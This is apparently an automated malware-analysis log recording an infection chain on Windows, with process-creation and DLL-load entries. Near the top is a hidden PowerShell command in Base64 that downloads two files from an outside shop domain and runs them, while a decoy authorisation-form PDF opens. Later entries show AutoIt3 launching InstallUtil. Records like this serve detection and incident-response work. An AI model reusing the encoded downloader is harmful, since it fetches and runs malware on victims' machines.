C2A42A543848822154E0BDE72E753A37ABBC37D5A523E44824FDECB7EA3DA94AE0BC489AFB57E7FF8B9D330E6B6CF749C38703F35FBB8C7524C1CC772CB6E97F52B9A303F765EEA1CF88781CF03DBAF4E05C5E83D04900C62AE76C9060D2EF02C6358A9C35D3C5CADDA4513FE8720161EE8D258C9D8738089620A44FDD02266B9393340D2A4D6DF53670CE0EAC8ADF596CBD6821F99D9AA7D32C9C1C8CDD6A112CF9684123E95FA54979737993CA2ED54A8E4E7B526955F3B82D4D1180DCF858A68E630366BAE559198412C920E3DF514DC1275386D42B0CF7D7800F9A9C56DF30AC55BB715221A65AC5F1B6C047475AF5D327C3E5F8421DC5507C9898E1CA30BC70D6ED81C7FBE88DC6473A1B361F63E277C1B83D0BA47D9D3A44BB1ED147D9E3D1391B4E0C9728E31F4600C8F8CDC7EA1BB362F215217B57B713C7F2C9B60FFBB1ABF	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -WindowStyle Hidden -EncodedCommand JABhAEoAdwA3AD0AIgB1AHAAZABhAHQAZQByAC4AZQB4AGUAIgA7ACQAawBOAHIAMwA9AC0AagBvAGkAbgAoACgANgA1AC4ALgA5ADAAKQArACgAOQA3AC4ALgAxADIAMgApAHwARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0AHsAWwBjAGgAYQByAF0AJABfAH0AfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4ACkAKwAiAC4AYgBpAG4AIgA7ACQAagBYAHEANAA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAtAEMAaABpAGwAZABQAGEAdABoACgALQBqAG8AaQBuACgAKAA0ADgALgAuADUANwB8AEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAB7AFsAYwBoAGEAcgBdACQAXwB9ACkAfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4ACkAKQA7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAagBYAHEANAAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA7ACQAcABIAHQANgA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABqAFgAcQA0ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACQAYQBKAHcANwA7ACQAcwBXAGYAMgA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABqAFgAcQA0ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACQAawBOAHIAMwA7ACQAdgBQAGIAOQA9ACIAaAB0AHQAcABzADoALwAvAGMAbgBkAGUAZgAxAC4AZwByAGUAZQBuAC0AcABhAHQAaAB3AGEAeQBzAC4AcwBoAG8AcAAvAGEAcABpAC8AdQB6AC8ANwA1ADUAMgA5ADcAMwA2ADUAMAAvAHUALgBiAGkAbgAiADsAJAB4AFEAZAA1AD0AIgBoAHQAdABwAHMAOgAvAC8AYwBuAGQAZQBmADEALgBnAHIAZQBlAG4ALQBwAGEAdABoAHcAYQB5AHMALgBzAGgAbwBwAC8AYQBwAGkALwB1AHoALwA3ADUANQAyADkANwAzADYANQAwAC8AbgBuAG4ALgBiAGkAbgAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdgBQAGIAOQAgAC0ATwB1AHQARgBpAGwAZQAgACQAcABIAHQANgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB4AFEAZAA1ACAALQBPAHUAdABGAGkAbABlACAAJABzAFcAZgAyACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABIAHQANgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAkAHMAVwBmADIAOwAmACAAKABbAHMAYwByAGkAcAB0AGIAbABvAGMAawBdADoAOgBDAHIAZQBhAHQAZQAoACgAKAAnAGUAJwArACcAeABpACcAKwAnAHQAJwApACAALQBqAG8AaQBuACAAJwAnACkAKQApAA==	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\ref095vq842r70_3rd_party_authorisation_form.pdf"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\48216953\updater.exe "C:\Users\user\AppData\Local\Temp\48216953\updater.exe" C:\Users\user\AppData\Local\Temp\48216953\OZxvrKbf.bin	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1596,i,2208651499941348974,16461563014979243643,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\48216953\updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Source: C:\ehcfdbh\AutoIt3.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Source: C:\ehcfdbh\AutoIt3.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Source: C:\Windows\System32\OpenSSH\sftp.exe	Section loaded: libcrypto.dll	Jump to behavior
Source: C:\Windows\System32\OpenSSH\sftp.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\OpenSSH\sftp.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\OpenSSH\sftp.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\OpenSSH\sftp.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: libcrypto.dll	Jump to behavior
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\OpenSSH\ssh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: imgutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
